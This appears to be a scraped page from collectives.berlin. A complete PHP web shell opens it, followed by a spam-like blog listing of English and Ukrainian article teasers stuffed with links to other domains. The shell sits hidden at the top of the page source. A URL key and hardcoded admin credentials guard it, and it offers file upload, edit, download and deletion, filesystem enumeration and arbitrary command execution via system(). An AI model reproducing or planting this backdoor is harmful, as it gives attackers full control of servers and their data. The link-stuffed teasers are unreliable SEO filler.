if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 52 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • How to Spot and Avoid Moving Scams in the United States

    Moving can be an exciting yet stressful experience, especially when it involves relocating to a new home. Unfortunately, the moving industry is not immune to scams, which can lead to financial loss and emotional distress. Understanding how to spot and avoid moving scams is crucial for americanhomejournals.com anyone planning a move in the United States.…

    Click or not…

  • Moving to the Suburbs vs Staying in the City: Pros and Cons

    The decision to move to the suburbs or stay in the city is a significant one that many individuals and families face. Each option comes with its own set of advantages and disadvantages, which can greatly impact lifestyle, https://urbanatlasmedia.com finances, and overall satisfaction. This report outlines the pros and cons of both living environments to…

    Click or not…

  • Створення єдиного простору для управління активами великої корпорації

    У сучасному бізнес-середовищі ефективне управління активами є критично важливим для забезпечення стабільності та зростання великої корпорації. Створення єдиного простору для управління активами дозволяє інтегрувати всі ресурси компанії в єдину систему, https://financereview.in.ua що підвищує ефективність, знижує витрати та покращує прийняття рішень. Цей звіт розглядає ключові аспекти створення такого простору, його переваги та виклики, з якими можуть…

    Click or not…

  • Renting vs Buying: Making the Smart Financial Decision

    The decision to rent or buy a home is one of the most significant financial choices individuals and families face. Each option presents unique advantages and disadvantages, and https://smartmovinghome.com/ the right choice often depends on personal circumstances, market conditions, and long-term goals. This report examines the financial implications of renting versus buying to help potential…

    Click or not…

  • How to Evaluate Business Service Providers: A Checklist

    Evaluating business service providers is crucial for organizations aiming to enhance efficiency, reduce costs, and businessrelocationdigest.com improve service quality. A thorough assessment ensures that the selected provider aligns with the company’s goals and values. Below is a comprehensive checklist to guide businesses in evaluating potential service providers effectively. Define Your Needs and Objectives: Before starting…

    Click or not…

  • Гід по податкових пільгах для фізичних осіб у 2026 році

    У 2026 році в Україні продовжують діяти різноманітні податкові пільги для фізичних осіб, які можуть суттєво полегшити фінансовий тягар громадян. Цей гід має на меті ознайомити читачів з основними податковими пільгами, https://capitaljournal.net.ua/ їх умовами та способами отримання. По-перше, варто зазначити, що податкові пільги для фізичних осіб в Україні поділяються на кілька основних категорій: пільги для…

    Click or not…

  • Бюджетний ремонт: оновлюємо інтер’єр без значних витрат

    Бюджетний ремонт – це чудова можливість оновити інтер’єр вашого житла без значних фінансових витрат. З правильним підходом і творчим мисленням можна досягти вражаючих результатів, не порушуючи при цьому свій бюджет. У цій статті ми розглянемо кілька ефективних стратегій, estatehub.com.ua які допоможуть вам оновити ваш простір. Перш ніж почати, варто визначити, які саме зміни ви хочете…

    Click or not…

  • Підлога у вашому домі: види, переваги та монтаж

    У сучасному будівництві та ремонті важливу роль відіграє вибір підлоги. Вона не лише впливає на естетику приміщення, але й на комфорт, теплоізоляцію та загальну атмосферу в домі. У цій статті ми розглянемо основні види підлогових покриттів, їх переваги, https://remontlab.in.ua а також етапи монтажу. Види підлогових покриттів Дерев’яна підлога: Це класичний варіант, який завжди залишається в…

    Click or not…

  • Психологія краси: як розвинути впевненість у собі

    Психологія краси – це складна і багатогранна тема, що охоплює не лише естетичні аспекти, але й глибокі психологічні механізми, які впливають на наше самосприйняття та впевненість у собі. У сучасному світі, де стандарти краси часто нав’язуються медіа та соціальними мережами, важливо зрозуміти, https://styleguide.in.ua як формуються ці уявлення і як ми можемо розвинути впевненість у собі,…

    Click or not…

  • Порівняння податкових режимів для IT-сектору та креативних індустрій

    В Україні податкові режими для IT-сектору та креативних індустрій мають свої особливості, які впливають на розвиток цих галузей. З метою стимулювання інновацій та креативності, https://marketinsight.com.ua держава запровадила різні податкові механізми, які варто порівняти для кращого розуміння їх впливу на бізнес. IT-сектор в Україні користується спеціальним податковим режимом, відомим як “податок на виведений капітал”. Цей режим…

    Click or not…